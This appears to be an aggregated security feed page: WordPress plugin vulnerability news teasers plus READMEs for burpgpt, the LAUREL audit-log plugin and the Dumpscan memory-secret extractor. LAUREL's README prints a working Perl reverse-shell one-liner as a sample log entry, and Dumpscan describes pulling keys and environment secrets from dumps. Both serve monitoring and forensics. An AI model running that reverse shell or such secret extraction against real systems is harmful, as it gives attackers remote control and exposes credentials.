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Critical Security Flaw Found in Popular LayerSlider WordPress Plugin

A critical security flaw impacting the LayerSlider plugin for WordPress could be abused to extract sensitive information from databases, such as password hashes. The flaw, designated as CVE-2024-2879, carries a CVSS score of 9.8 out of a maximum of 10.0. It has been described as a case of SQL injection impacting versions from 7.9.11 through 7.10.0. The issue has been addressed in version

WordPress Plugin Alert - Critical SQLi Vulnerability Threatens 200K+ Websites

A critical security flaw has been disclosed in a popular WordPress plugin called Ultimate Member that has more than 200,000 active installations. The vulnerability, tracked as CVE-2024-1071, carries a CVSS score of 9.8 out of a maximum of 10. Security researcher Christiaan Swiers has been credited with discovering and reporting the flaw. In an advisory published last week, WordPress

Rogue WordPress Plugin Exposes E-Commerce Sites to Credit Card Theft

Threat hunters have discovered a rogue WordPress plugin that's capable of creating bogus administrator users and injecting malicious JavaScript code to steal credit card information. The skimming activity is part of a Magecart campaign targeting e-commerce websites, according to Sucuri. "As with many other malicious or fake WordPress plugins it contains some deceptive information at

WordPress Releases Update 6.4.2 to Address Critical Remote Attack Vulnerability

WordPress has released version 6.4.2 with a patch for a critical security flaw that could be exploited by threat actors by combining it with another bug to execute arbitrary PHP code on vulnerable sites. "A remote code execution vulnerability that is not directly exploitable in core; however, the security team feels that there is a potential for high severity when combined with some plugins,

Quick-Lookup-Ptrun - Quick Lookup Plugin For PowerToys Run (Wox)

By: Zion3R


This plugin for PowerToys Run allows you to quickly search for an IP address, domain name, hash or any other data points in a list of Cyber Security tools. It's perfect for security analysts, penetration testers, or anyone else who needs to quickly lookup information when investigating artifacts or alerts.


Installation

To install the plugin:

  • Navigate to your Powertoys Run Plugin folder
    • For machine wide install of PowerToys: C:\Program Files\PowerToys\modules\launcher\Plugins
    • For per user install of PowerToys: C:\Users\<yourusername>\AppData\Local\PowerToys\modules\launcher\Plugins
  • Create a new folder called QuickLookup
  • Extract the contents of the zip file into the folder you just created
  • Restart PowerToys and the plugin should be loaded under the Run tool settings and work when promted with ql

Usage

To use the plugin, simply open PowerToys Run by pressing Alt+Space and type the activation command ql followed by the tool category and the data you want to lookup.

The plugin will open the data searched in a new tab in your default browser for each tool registered with that category.

Default Tools

This plugin currently comes default with the following tools:

Configuration

NOTE: Prior to version 1.3.0 tools.conf was the default configuration file used.

The plugin will now automatically convert the tools.conf list to tools.json if it does not already exist in JSON form and will then default to using that instead.
The legacy config file will remain however will not be used and will not be included in future builds starting from v1.3.0

By default, the plugin will use the precofigured tools listed above. You can modify these settings by editing the tools.json file in the plugin folder.
The format for the configuration file follows the below standard:

{
"Name": "VirusTotal",
"URL": "https://www.virustotal.com/gui/search/{0}",
"Categories": [ "ip", "domain", "hash"],
"Enabled": true
}

In the URL, {0} will be replace with the search input. As such, only sites that work based on URL data (GET Requests) are supported for now.
For example, https://www.virustotal.com/gui/search/{0} would become https://www.virustotal.com/gui/search/1.1.1.1



How to Prevent ChatGPT From Stealing Your Content & Traffic

ChatGPT and similar large language models (LLMs) have added further complexity to the ever-growing online threat landscape. Cybercriminals no longer need advanced coding skills to execute fraud and other damaging attacks against online businesses and customers, thanks to bots-as-a-service, residential proxies, CAPTCHA farms, and other easily accessible tools.ย  Now, the latest technology damaging

Multiple Flaws Found in Ninja Forms Plugin Leave 800,000 Sites Vulnerable

By: THN
Multiple security vulnerabilities have been disclosed in the Ninja Forms plugin for WordPress that could be exploited by threat actors to escalate privileges and steal sensitive data. The flaws, tracked as CVE-2023-37979, CVE-2023-38386, and CVE-2023-38393, impact versions 3.6.25 and below, Patchstackย saidย in a report last week. Ninja Forms is installed on over 800,000 sites. A brief description

Critical Security Vulnerability Discovered in WooCommerce Stripe Gateway Plugin

A security flaw has been uncovered in the WooCommerce Stripe Gateway WordPress plugin that could lead to the unauthorized disclosure of sensitive information. The flaw, tracked asย CVE-2023-34000, impacts versions 7.4.0 and below. It was addressed by the plugin maintainers in version 7.4.1, which shipped on May 30, 2023. WooCommerce Stripe Gatewayย allowsย e-commerce websites to directly accept

Burpgpt - A Burp Suite Extension That Integrates OpenAI's GPT To Perform An Additional Passive Scan For Discovering Highly Bespoke Vulnerabilities, And Enables Running Traffic-Based Analysis Of Any Type

By: Zion3R


burpgpt leverages the power of AI to detect security vulnerabilities that traditional scanners might miss. It sends web traffic to an OpenAI model specified by the user, enabling sophisticated analysis within the passive scanner. This extension offers customisable prompts that enable tailored web traffic analysis to meet the specific needs of each user. Check out the Example Use Cases section for inspiration.

The extension generates an automated security report that summarises potential security issues based on the user's prompt and real-time data from Burp-issued requests. By leveraging AI and natural language processing, the extension streamlines the security assessment process and provides security professionals with a higher-level overview of the scanned application or endpoint. This enables them to more easily identify potential security issues and prioritise their analysis, while also covering a larger potential attack surface.

[!WARNING] Data traffic is sent to OpenAI for analysis. If you have concerns about this or are using the extension for security-critical applications, it is important to carefully consider this and review OpenAI's Privacy Policy for further information.

[!WARNING] While the report is automated, it still requires triaging and post-processing by security professionals, as it may contain false positives.

[!WARNING] The effectiveness of this extension is heavily reliant on the quality and precision of the prompts created by the user for the selected GPT model. This targeted approach will help ensure the GPT model generates accurate and valuable results for your security analysis.

ย 

Features

  • Adds a passive scan check, allowing users to submit HTTP data to an OpenAI-controlled GPT model for analysis through a placeholder system.
  • Leverages the power of OpenAI's GPT models to conduct comprehensive traffic analysis, enabling detection of various issues beyond just security vulnerabilities in scanned applications.
  • Enables granular control over the number of GPT tokens used in the analysis by allowing for precise adjustments of the maximum prompt length.
  • Offers users multiple OpenAI models to choose from, allowing them to select the one that best suits their needs.
  • Empowers users to customise prompts and unleash limitless possibilities for interacting with OpenAI models. Browse through the Example Use Cases for inspiration.
  • Integrates with Burp Suite, providing all native features for pre- and post-processing, including displaying analysis results directly within the Burp UI for efficient analysis.
  • Provides troubleshooting functionality via the native Burp Event Log, enabling users to quickly resolve communication issues with the OpenAI API.

Requirements

  1. System requirements:
  • Operating System: Compatible with Linux, macOS, and Windows operating systems.

  • Java Development Kit (JDK): Version 11 or later.

  • Burp Suite Professional or Community Edition: Version 2023.3.2 or later.

    [!IMPORTANT] Please note that using any version lower than 2023.3.2 may result in a java.lang.NoSuchMethodError. It is crucial to use the specified version or a more recent one to avoid this issue.

  1. Build tool:
  • Gradle: Version 6.9 or later (recommended). The build.gradle file is provided in the project repository.
  1. Environment variables:
  • Set up the JAVA_HOME environment variable to point to the JDK installation directory.

Please ensure that all system requirements, including a compatible version of Burp Suite, are met before building and running the project. Note that the project's external dependencies will be automatically managed and installed by Gradle during the build process. Adhering to the requirements will help avoid potential issues and reduce the need for opening new issues in the project repository.

Installation

1. Compilation

  1. Ensure you have Gradle installed and configured.

  2. Download the burpgpt repository:

    git clone https://github.com/aress31/burpgpt
    cd .\burpgpt\
  3. Build the standalone jar:

    ./gradlew shadowJar

2. Loading the Extension Into Burp Suite

To install burpgpt in Burp Suite, first go to the Extensions tab and click on the Add button. Then, select the burpgpt-all jar file located in the .\lib\build\libs folder to load the extension.

Usage

To start using burpgpt, users need to complete the following steps in the Settings panel, which can be accessed from the Burp Suite menu bar:

  1. Enter a valid OpenAI API key.
  2. Select a model.
  3. Define the max prompt size. This field controls the maximum prompt length sent to OpenAI to avoid exceeding the maxTokens of GPT models (typically around 2048 for GPT-3).
  4. Adjust or create custom prompts according to your requirements.

Once configured as outlined above, the Burp passive scanner sends each request to the chosen OpenAI model via the OpenAI API for analysis, producing Informational-level severity findings based on the results.

Prompt Configuration

burpgpt enables users to tailor the prompt for traffic analysis using a placeholder system. To include relevant information, we recommend using these placeholders, which the extension handles directly, allowing dynamic insertion of specific values into the prompt:

Placeholder Description
{REQUEST} The scanned request.
{URL} The URL of the scanned request.
{METHOD} The HTTP request method used in the scanned request.
{REQUEST_HEADERS} The headers of the scanned request.
{REQUEST_BODY} The body of the scanned request.
{RESPONSE} The scanned response.
{RESPONSE_HEADERS} The headers of the scanned response.
{RESPONSE_BODY} The body of the scanned response.
{IS_TRUNCATED_PROMPT} A boolean value that is programmatically set to true or false to indicate whether the prompt was truncated to the Maximum Prompt Size defined in the Settings.

These placeholders can be used in the custom prompt to dynamically generate a request/response analysis prompt that is specific to the scanned request.

[!NOTE] > Burp Suite provides the capability to support arbitrary placeholders through the use of Session handling rules or extensions such as Custom Parameter Handler, allowing for even greater customisation of the prompts.

Example Use Cases

The following list of example use cases showcases the bespoke and highly customisable nature of burpgpt, which enables users to tailor their web traffic analysis to meet their specific needs.

  • Identifying potential vulnerabilities in web applications that use a crypto library affected by a specific CVE:

    Analyse the request and response data for potential security vulnerabilities related to the {CRYPTO_LIBRARY_NAME} crypto library affected by CVE-{CVE_NUMBER}:

    Web Application URL: {URL}
    Crypto Library Name: {CRYPTO_LIBRARY_NAME}
    CVE Number: CVE-{CVE_NUMBER}
    Request Headers: {REQUEST_HEADERS}
    Response Headers: {RESPONSE_HEADERS}
    Request Body: {REQUEST_BODY}
    Response Body: {RESPONSE_BODY}

    Identify any potential vulnerabilities related to the {CRYPTO_LIBRARY_NAME} crypto library affected by CVE-{CVE_NUMBER} in the request and response data and report them.
  • Scanning for vulnerabilities in web applications that use biometric authentication by analysing request and response data related to the authentication process:

    Analyse the request and response data for potential security vulnerabilities related to the biometric authentication process:

    Web Application URL: {URL}
    Biometric Authentication Request Headers: {REQUEST_HEADERS}
    Biometric Authentication Response Headers: {RESPONSE_HEADERS}
    Biometric Authentication Request Body: {REQUEST_BODY}
    Biometric Authentication Response Body: {RESPONSE_BODY}

    Identify any potential vulnerabilities related to the biometric authentication process in the request and response data and report them.
  • Analysing the request and response data exchanged between serverless functions for potential security vulnerabilities:

    Analyse the request and response data exchanged between serverless functions for potential security vulnerabilities:

    Serverless Function A URL: {URL}
    Serverless Function B URL: {URL}
    Serverless Function A Request Headers: {REQUEST_HEADERS}
    Serverless Function B Response Headers: {RESPONSE_HEADERS}
    Serverless Function A Request Body: {REQUEST_BODY}
    Serverless Function B Response Body: {RESPONSE_BODY}

    Identify any potential vulnerabilities in the data exchanged between the two serverless functions and report them.
  • Analysing the request and response data for potential security vulnerabilities specific to a Single-Page Application (SPA) framework:

    Analyse the request and response data for potential security vulnerabilities specific to the {SPA_FRAMEWORK_NAME} SPA framework:

    Web Application URL: {URL}
    SPA Framework Name: {SPA_FRAMEWORK_NAME}
    Request Headers: {REQUEST_HEADERS}
    Response Headers: {RESPONSE_HEADERS}
    Request Body: {REQUEST_BODY}
    Response Body: {RESPONSE_BODY}

    Identify any potential vulnerabilities related to the {SPA_FRAMEWORK_NAME} SPA framework in the request and response data and report them.

Roadmap

  • Add a new field to the Settings panel that allows users to set the maxTokens limit for requests, thereby limiting the request size.
  • Add support for connecting to a local instance of the AI model, allowing users to run and interact with the model on their local machines, potentially improving response times and data privacy.
  • Retrieve the precise maxTokens value for each model to transmit the maximum allowable data and obtain the most extensive GPT response possible.
  • Implement persistent configuration storage to preserve settings across Burp Suite restarts.
  • Enhance the code for accurate parsing of GPT responses into the Vulnerability model for improved reporting.

Project Information

The extension is currently under development and we welcome feedback, comments, and contributions to make it even better.

Sponsor

If this extension has saved you time and hassle during a security assessment, consider showing some love by sponsoring a cup of coffee

for the developer. It's the fuel that powers development, after all. Just hit that shiny Sponsor button at the top of the page or click here to contribute and keep the caffeine flowing.

Reporting Issues

Did you find a bug? Well, don't just let it crawl around! Let's squash it together like a couple of bug whisperers!

Please report any issues on the GitHub issues tracker. Together, we'll make this extension as reliable as a cockroach surviving a nuclear apocalypse!

Contributing

Looking to make a splash with your mad coding skills?

Awesome! Contributions are welcome and greatly appreciated. Please submit all PRs on the GitHub pull requests tracker. Together we can make this extension even more amazing!

License

See LICENSE.



Hackers Exploiting WordPress Elementor Pro Vulnerability: Millions of Sites at Risk!

Unknown threat actors are actively exploiting a recently patched security vulnerability in the Elementor Pro website builder plugin for WordPress. The flaw, described as a case of broken access control, impacts versions 3.11.6 and earlier. It was addressed by the plugin maintainers in version 3.11.7 released on March 22. "Improved code security enforcement in WooCommerce components," the Tel

Critical WooCommerce Payments Plugin Flaw Patched for 500,000+ WordPress Sites

Patches have been released for a critical security flaw impacting the WooCommerce Payments plugin for WordPress, which is installed on over 500,000 websites. The flaw, if left unresolved, could enable a bad actor to gain unauthorized admin access to impacted stores, the company said in an advisory on March 23, 2023. It impacts versions 4.8.0 through 5.6.1. Put differently, the issue could permit

Over 280,000 WordPress Sites Attacked Using WPGateway Plugin Zero-Day Vulnerability

A zero-day flaw in the latest version of a WordPress premium plugin known asย WPGatewayย is being actively exploited in the wild, potentially allowing malicious actors to completely take over affected sites. Tracked asย CVE-2022-3180ย (CVSS score: 9.8), the issue is being weaponized to add a malicious administrator user to sites running the WPGateway plugin, WordPress security company Wordfence

Laurel - Transform Linux Audit Logs For SIEM Usage


LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups.


Why?

TLDR: Instead of audit events that look like thisโ€ฆ

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742โ€ฆ

โ€ฆturn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance:

{ โ€ฆ "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, โ€ฆ}

This happens at the source. The generated event even contains useful information about the spawning process:

"PARENT_INFO":{"ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}

Description

Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems.

LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products).

Refer to JSON-based log format for a description of the log format.

We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to Performance for details.

A word about audit rules

A good starting point for an audit ruleset is https://github.com/Neo23x0/auditd, but generally speaking, any ruleset will do. LAUREL will currently only work as designed if End Of Event record are not suppressed, so rules like

-a always,exclude -F msgtype=EOE

should be removed.

Events with context

Every event that is caused by a syscall or filesystem rule is annotated with information about the parent of the process that caused the event. If available, id points to the message corresponding to the last execve syscall for this process:

"PARENT_INFO": {
"ID": "1643635026.276:327308",
"comm": "sh",
"exe": "/usr/bin/dash",
"ppid": 1532
}

Adding more context: Keys and process labels

Audit events can contain a key, a short string that can be used to filter events. LAUREL can be configured to recognize such keys and add them as keys to the process that caused the event. These labels can also be propagated to child processes. This is useful to avoid expensive JOIN-like operations in log analysis to filter out harmless events.

Consider the following rule that set keys for apt and dpkg invocations:

-w /usr/bin/apt-get -p x -k software_mgmt

Let's configure LAUREL to turn the software_mgmt key into a process label that is propagated to child processes:

Together with a ruleset that logs execve(2) and variants, this will cause every event directly caused by apt-get and its subprocesses to be labelled software_mgmt.

For example, running sudo apt-get update on a Debian/bullseye system with a few sources configured, the following subprocesses labelled software_gmt can be observed in LAUREL's audit log:

  • apt-get update
  • /usr/bin/dpkg --print-foreign-architectures
  • /usr/lib/apt/methods/http
  • /usr/lib/apt/methods/https
  • /usr/lib/apt/methods/https
  • /usr/lib/apt/methods/http
  • /usr/lib/apt/methods/gpgv
  • /usr/lib/apt/methods/gpgv
  • /usr/bin/dpkg --print-foreign-architectures
  • /usr/bin/dpkg --print-foreign-architectures

This sort of tracking also works for package installation or removal. If some package's post-installation script is behaving suspiciously, a SIEM analyst will be able to make the connection to the software installation process by inspecting the single event.

Installation

See INSTALL.md.

License

GNU General Public License, version 3

Authors

The logo was created by Birgit Meyer <hello@biggi.io>.



Experts Notice Sudden Surge in Exploitation of WordPress Page Builder Plugin Vulnerability

Researchers from Wordfence haveย soundedย the alarm about a "sudden" spike in cyber attacks attempting to exploit an unpatched flaw in a WordPress plugin calledย Kaswara Modern WPBakery Page Builder Addons. Tracked asย CVE-2021-24284, the issue is rated 10.0 on the CVSS vulnerability scoring system and relates to an unauthenticated arbitrary file upload that could be abused to gain code execution,

Dumpscan - Tool To Extract And Dump Secrets From Kernel And Windows Minidump Formats


Dumpscan is a command-line tool designed to extract and dump secrets from kernel and Windows Minidump formats. Kernel-dump parsing is provided by volatility3.


Features

  • x509 Public and Private key (PKCS #8/PKCS #1) parsing
  • SymCrypt parsing
    • Supported structures
      • SYMCRYPT_RSAKEY - Determines if the key structure also has a private key
    • Matching to public certificates found in the same process
    • More SymCrypt structures to come
  • Environment variables
  • Command line arguments

Note: Testing has only been performed on Windows 10 and 11 64-bit hosts and processes. Feel free to file an issue for additional versions. Linux testing TBD.

Installation

As a command-line tool, installation is recommended using pipx. This allows for easy updates and well and ensuring it is installed in its own virtual environment.

pipx install dumpscan
pipx inject dumpscan git+https://github.com/volatilityfoundation/volatility3#39e812a

Usage

 Usage: dumpscan [OPTIONS] COMMAND [ARGS]...

Scan memory dumps for secrets and keys

โ•ญโ”€ Options โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ โ”‚
โ”‚ --help Show this message and exit. &#9474 ;
โ”‚ โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ
โ•ญโ”€ Commands โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ โ”‚
โ”‚ kernel Scan kernel dump using volatility โ”‚
โ”‚ minidump Scan a user-mode minidump โ”‚
โ”‚ โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

In the case for subcommands that extract certificates, you can provide --output/-o <dir> to output any discovered certificates to disk.

Kernel Mode

As mentioned, kernel analysis is performed by Volatility3. cmdline, envar, and pslist are direct calls to the Volatility3 plugins, while symcrypt and x509 are custom plugins.

 Usage: dumpscan kernel [OPTIONS] COMMAND [ARGS]...

Scan kernel dump using volatility

โ•ญโ”€ Options โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ โ”‚
โ”‚ --help Show this message and exit. โ•ฐ
โ”‚ โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ
โ•ญโ”€ Commands โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ โ”‚
โ”‚ cmdline List command line for processes (Only for Windows) โ”‚
โ”‚ envar List process environment variables (Only for Windows) โ”‚
โ”‚ pslist List all the processes and their command lin e arguments โ”‚
โ”‚ symcrypt Scan a kernel-mode dump for symcrypt objects โ”‚
โ”‚ x509 Scan a kernel-mode dump for x509 certificates โ”‚
โ”‚ โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

Minidump Mode

Supports Windows Minidump format.

Note: This has only been tested on 64-bit processes on Windows 10+. 32-bit processes requires additional work but isn't a priority.

 Usage: dumpscan minidump [OPTIONS] COMMAND [ARGS]...

Scan a user-mode minidump

โ•ญโ”€ Options โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ โ”‚
โ”‚ --help Show this message and exit. โ”‚
โ”‚ โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ
โ•ญโ”€ Commands โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ โ”‚
โ”‚ cmdline Dump the command line string โ”‚
โ”‚ envar Dump the environment variables in a minidump โ”‚
โ”‚ symcrypt Scan a minidump for symcrypt objects โ”‚
โ”‚ x509 Scan a minidump for x509 objects โ”‚
โ”‚ โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

Built With

Acknowledgements

  • Thanks to F-Secure and the physmem2profit project for providing the idea to use construct for parsing minidumps.
  • Thanks to Skelsec and his minidump project which helped me figure out to parse minidumps.

To-Do

  • Verify use against 32-bit minidumps
  • Create a coredump parser for Linux process dumps
  • Verify volatility plugins work against Linux kernel dumps
  • Add an HTML report that shows all plugins
  • Code refactoring to make more extensible
  • MORE SECRETS


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